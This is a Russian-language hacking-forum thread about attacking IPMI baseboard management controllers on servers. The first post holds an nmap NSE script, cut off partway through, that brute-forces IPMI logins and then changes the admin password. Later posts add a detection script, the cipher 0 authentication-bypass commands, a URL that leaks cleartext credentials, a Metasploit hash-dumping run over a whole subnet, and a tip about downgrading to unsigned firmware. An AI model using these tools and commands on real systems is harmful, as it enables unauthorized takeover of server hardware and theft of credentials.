HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.07.2017, 21:06
SooLFaa
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами: 6398966

Репутация: 154


По умолчанию

По долгу службы на работе обнаружили интересную особенность в IPMI (аналог KVM) - штука для удаленного мониторинга и физическим управлением сервера. Штука в том, что DHCP сам назначает и навязывает IPMI у многих ДЦ о чем последние могут тупо просто не знать. Поэтому внутри сетки целесообразно чекать 623UDP.

А я поделюсь NSE скриптом для nmap'а авторство которого принадлежит не мне, а моему начальнику.

Скрипт сам подключается к порту IPMI, пытается сменить пароль если это надо, оповещает о всех найденных IPMI и брутит пароль (в том числе дефолтные).

[CODE]
local brute = require "brute"
local creds = require "creds"
--local ipmi = require "ipmi"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local tab = require "table"

description = [[
Performs brute force password auditing against IPMI server with ipmitool util and change default password if 'pwdchange' argument >= 5 symbols.
]]
author = "i.zuev"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}

---
-- need utils - ipmutil and ipmitool
-- @usage
-- nmap -sU -p623 -PS80,443 -PA80,443 --max-retries 5 --script ipmi-supermicro-brute --script-args 'userdb=/opt/ipmi-users.txt,passdb=/opt/ipmi-pwd.txt'
-- nmap -sU -p623 -PS80,443 -PA80,443 --max-retries 5 --script ipmi-supermicro-brute --script-args 'brute.credfile=/opt/ipmi-creds.txt'
-- nmap -sU -p 623 -PA80,443 -PS80,443 --reason --open --max-retries 5 --script ipmi-ipmiutil-brute.nse --script-args 'brute.credfile=/opt/ipmi-creds.txt,pwdchange=NEWPWDADMIN'
-- brute.firstonly = Boolean - Stop attack when the first credentials are found (https://nmap.org/nsedoc/lib/brute.html)
-- brute.mode = user/creds/pass - Username password iterator (https://nmap.org/nsedoc/lib/brute.html)
-- passdb = file - Path to password list --- one pass = one string
-- userdb = file - Path to user list --- one login = one string
-- brute.credfile = file - Path to credentials file, use '/' as delimeter (ADMIN/ADMIN)
--
-- for debug message use -d option
--
-- @output
-- PORT STATE SERVICE REASON
-- 623/udp open|filtered unknown
-- | ipmi-supermicro-brute:
-- | Accounts
-- |_ admin:admin => Valid credentials
--

portrule = shortport.port_or_service(623, "asf-rmcp", "udp", {"open", "open|filtered"})

-- if string.find(s1, "welcome home") ~= nil then

Driver = {
new = function(self, host, port, pwdchange)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = host
o.port = port
o.pwdchange = pwdchange
return o
end,

connect = function( self )
return true
end,

disconnect = function( self )
return true
end,

check = function( self )
if (self.port.state == "open" or self.port.state == "open|filtered") then
return true
else
return false
end
end,

login = function( self, username, password )
--[[ ---- ipmiutil error codes - http://ipmiutil.sourceforge.net/docs/UserGuide
Code Dec Description
---- --- -----------------------------------------
+0x00, 0, "Command completed successfully",
0x80, 128, "Invalid Session Handle or Empty Buffer",
+0x81, 129, "Lost Arbitration", --- "GetSessChallenge: Invalid user name"
0x82, 130, "Bus Error",
0x83, 131, "NAK on Write - busy",
0x84, 132, "Truncated Read",
0xC0, 192, "Node Busy",
0xC1, 193, "Invalid Command",
0xC2, 194, "Command invalid for given LUN",
0xC3, 195, "Timeout while processing command",
0xC4, 196, "Out of space",
0xC5, 197, "Invalid Reservation ID, or cancelled",
0xC6, 198, "Request data truncated",
0xC7, 199, "Request data length invalid",
0xC8, 200, "Request data field length limit exceeded",
0xC9, 201, "Parameter out of range",
0xCA, 202, "Cannot return requested number of data bytes",
0xCB, 203, "Requested sensor, data, or record not present",
0xCC, 204, "Invalid data field in request",
0xCD, 205, "Command illegal for this sensor/record type",
0xCE, 206, "Command response could not be provided",
0xCF, 207, "Cannot execute duplicated request",
0xD0, 208, "SDR Repository in update mode, no response",
0xD1, 209, "Device in firmware update mode, no response",
0xD2, 210, "BMC initialization in progress, no response",
0xD3, 211, "Destination unavailable",
0xD4, 212, "Cannot execute command. Insufficient privilege level",
0xD5, 213, "Cannot execute command. Request parameters not supported",
253, "Cannot connect"
0xFF, 255, "Unspecified error"
]]
local cmd = "ipmiutil config -U " .. username .. " -P " .. password .. " -N " .. self.host.ip .. " 2>&1 ; echo RC=$?"
local handler = assert(io.popen(cmd))
local output
local retcod = "9999"
--local output = assert(handler:read('*a')) -- '*a' означает считывание всех данных
for line in handler:lines() do
if string.len(line) >= 1 then
if string.match(line, "RC=") then retcod = tonumber(line:match "RC=(%d+)") end
if string.match(line, "ipmiutil config, ") then output = line:match "ipmiutil config, (.*)" end
end
end
handler:close()

if retcod == 0 then
if string.len(self.pwdchange) >= 5 then
-- ipmitool -H IP -U ADMIN -P ADMIN user set password 2 NEWPWD ;
local pwdoutput = "EMPTY"
local pwdretcod = "8888"
local pwdtry = 1
local pwdcmd = "ipmitool -U " .. username .. " -P " .. password .. " -H " .. self.host.ip .. " user set password 2 " .. self.pwdchange .. " 2>&1 ; echo RC=$?"
::PWDNEWTRY::
stdnse.print_debug(1, "IPMI pwdcmd (try %s): %s", pwdtry, pwdcmd)
local pwdhandler = assert(io.popen(pwdcmd))
for line in pwdhandler:lines() do
if string.len(line) >= 1 then
if string.match(line, "RC=") then
pwdretcod = tonumber(line:match "RC=(%d+)")
elseif string.match(line, "Invalid user name") then
pwdoutput = "Invalid user name"
else
pwdoutput = line
end
end
end
pwdhandler:close()
if pwdretcod == 0 then
stdnse.print_debug(1, "IPMI(%s): %s - password changed to %s (%s:%s)", pwdretcod, pwdoutput, self.pwdchange,username, password)
return true, creds.Account:new(username, password, "new password is " .. self.pwdchange)
elseif pwdtry
 
Ответить с цитированием

  #2  
Старый 25.07.2017, 13:23
SooLFaa
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами: 6398966

Репутация: 154


По умолчанию

Пару заметок ещё о том как обнаружить ipmi.

1) Веб морда на 80 порту в header: GoAhead-Webs

2) Смотрим сертификат на 443 порту: В издателе сертификата есть ключевые слова Supermicro, Ahead, IPMI. Позже NSE скрипт докину.
 
Ответить с цитированием

  #3  
Старый 01.08.2017, 19:34
SooLFaa
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами: 6398966

Репутация: 154


По умолчанию

Обещал скриптик, который бы чекал IPMI даже если нет его открытых портов.

Собственно вот

.SpoilerTarget" type="button">Spoiler: Вывод


Код:
local creds = require "creds"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local tab = require "table"
local sslcert = require "sslcert"
local tls = require "tls"

description = [[Check ipmi by http headers and ssl certificates.]]
author = "Morozov Alexey"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery", "same"}

local comm =  require "comm"
require "shortport"

portrule = function(host, port)
        return ((port.number == 80 or port.number == 443 or port.number == 5901 or port.number == 5900 or port.number == 623)
               and port.protocol == "tcp" and port.state == "open") or (port.number == 623 and port.protocol == "udp" and port.state == "open")
end

local NON_VERBOSE_FIELDS = { "commonName", "organizationName",
"stateOrProvinceName", "countryName" }

function table_find(t, value)
  local i, v
  for i, v in ipairs(t) do
    if v == value then
      return i
    end
  end
  return nil
end

function date_to_string(date)
  if not date then
    return "MISSING"
  end
  if type(date) == "string" then
    return string.format("Can't parse; string is \"%s\"", date)
  else
    return stdnse.format_timestamp(date)
  end
end

local function maybe_decode(str)
  -- If length is not even, then return as-is
  if #str  0 and str:byte(2) == 0 then
    -- little-endian UTF-16
    return unicode.transcode(str, unicode.utf16_dec, unicode.utf8_enc, false, nil)
  elseif str:byte(1) == 0 and str:byte(2) > 0 then
    -- big-endian UTF-16
    return unicode.transcode(str, unicode.utf16_dec, unicode.utf8_enc, true, nil)
  else
    return str
  end
end

function stringify_name(name)
  local fields = {}
  local _, k, v
  if not name then
    return nil
  end
  for _, k in ipairs(NON_VERBOSE_FIELDS) do
    v = name[k]
    if v then
      fields[#fields + 1] = string.format("%s=%s", k, maybe_decode(v) or '')
    end
  end
  if nmap.verbosity() > 1 then
    for k, v in pairs(name) do
      -- Don't include a field twice.
      if not table_find(NON_VERBOSE_FIELDS, k) then
        if type(k) == "table" then
          k = stdnse.strjoin(".", k)
        end
        fields[#fields + 1] = string.format("%s=%s", k, maybe_decode(v) or '')
      end
    end
  end
  return stdnse.strjoin("/", fields)
end

local function output_str(cert)
  local lines = {}

  lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
  if cert.extensions then
    for _, e in ipairs(cert.extensions) do
      if e.name == "X509v3 Subject Alternative Name" then
        lines[#lines + 1] = "Subject Alternative Name: " .. e.value
        break
      end
    end
  end

  if nmap.verbosity() > 0 then
    lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
  end

  if nmap.verbosity() > 0 then
    lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type
    lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
    lines[#lines + 1] = "Signature Algorithm: " .. cert.sig_algorithm
  end

  lines[#lines + 1] = "Not valid before: " ..
  date_to_string(cert.validity.notBefore)
  lines[#lines + 1] = "Not valid after:  " ..
  date_to_string(cert.validity.notAfter)

  if nmap.verbosity() > 0 then
    lines[#lines + 1] = "MD5:   " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
    lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
  end

  if nmap.verbosity() > 1 then
    lines[#lines + 1] = cert.pem
  end
  return stdnse.strjoin("\n", lines)
end

action = function(host, port)

        local resports = {}
        if (port.number == 623 or port.number == 5900 or port.number == 5901) or (port.number == 623 and port.protocol == "udp") then
                port.version.name = "ipmi"
                nmap.set_port_version(host, port)
                -- return
        end

        local domains = {}
        -- domains['name'] = 'IPMI_DETECT_BY_PORT'

        if (port.number == 80) then
                local status, result = comm.exchange(host, port, "GET / HTTP/1.0\r\n\r\n", {bytes=260, proto=port.protocol})
                if (status) then
                        -- print(result)
                        local goAheads = string.find(result, 'GoAhead-Webs', 1, true)
                        print(goAheads)

                        if (goAheads ~= nil) then
                                 table.insert(domains, 'DETECTED IPMI')
                        end
                end
        end

        if (port.number == 443) then
                -- host.targetname = tls.servername(host)
                local status, cert = sslcert.getCertificate(host, port)
                if (status) then
                        local res_cert = output_str(cert)
                        local certIpmi = string.find(res_cert, 'IPMI', 1, true)
                        local certAmi =  string.find(res_cert, 'American Megatrends', 1, true)

                        if (certIpmi ~= nil) or (certAmi ~= nil) then
                                table.insert(domains, 'DETECTED IPMI')
                        end

                end
        end

        -- if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then
        --        return
        -- end
        -- So far so good, now see if we get random data for another request
        -- status, result = comm.exchange(host, port,
        --        "random data\r\n\r\n", {bytes=15, proto=port.protocol})

        -- if (not status) then
        --         return
        -- end
        -- if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then
                -- Detected
        --        port.version.name = "skype2"
        --
        --        nmap.set_port_version(host, port)
        --        return
        return stdnse.format_output(true, domains)
end
 
Ответить с цитированием

  #4  
Старый 07.08.2017, 20:08
SooLFaa
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами: 6398966

Репутация: 154


По умолчанию

Ещё немного в кассу уязвимости ipmi

* Cleartext: ipmitool -H -U "" -P "" user list 1 - пустой пароль пустой логин, может дать доступ

* AUth bypass Cipher 0: выполнить команды без аутентификации

Код:
ipmitool -U ADMIN -P "1223" -C 0 -H  lan print 1
или

Код:
ipmitool -I lanplus -U ADMIN -P "1223" -C 0 -H  lan print 1
- Пароль любой

* Обратившись на порт T:49152 на URL "/PSBlock" можно скачать конфигурационный файл 'XXXX_bmc.conf', содержащий пароли в открытом виде. Преимущественно подвержены Supermicro Onboard IPMI контроллеры.

* в спецификации IPMI 2.0 заложена возможность вытащить и брутить хеши паролей (которые используют уязвимые sha1 и md5) от всех учеток через 623 порт UDP

Код:
msfconsole
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS 10.0.0.0/24
set THREADS 256
run
* Последний скрин можно глянуть без аутентификации по пути

http://IP-OF-IPMI/images/Snapshot.bmp
 
Ответить с цитированием

  #5  
Старый 15.08.2018, 01:27
SooLFaa
Постоянный
Регистрация: 17.03.2014
Сообщений: 530
С нами: 6398966

Репутация: 154


По умолчанию

Bonus, некоторые прошивки апдейтятся методом заливки новой.

Мы можем залить более старую прошивку без подписи сертификатом и IPMI её без проблем скушает. Тогда у нас уже будет SH вместо SMASH.

 
Ответить с цитированием

  #6  
Старый 25.01.2019, 12:03
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Спущено
 
Ответить с цитированием

  #7  
Старый 26.01.2019, 19:52
оlbaneс
Moderator - Level 7
Регистрация: 05.11.2007
Сообщений: 894
С нами: 9744746

Репутация: 1474


По умолчанию

Цитата:
Сообщение от BigBear  

Спущено
я бы заменил слово на другое, а то прочитал и покраснел
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.